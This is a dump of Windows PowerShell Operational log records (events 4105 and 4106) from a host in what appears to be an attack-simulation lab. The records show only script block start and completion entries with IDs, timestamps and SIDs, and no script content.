TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039495
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039490
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039489
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039467
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039466
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039465
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039464
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
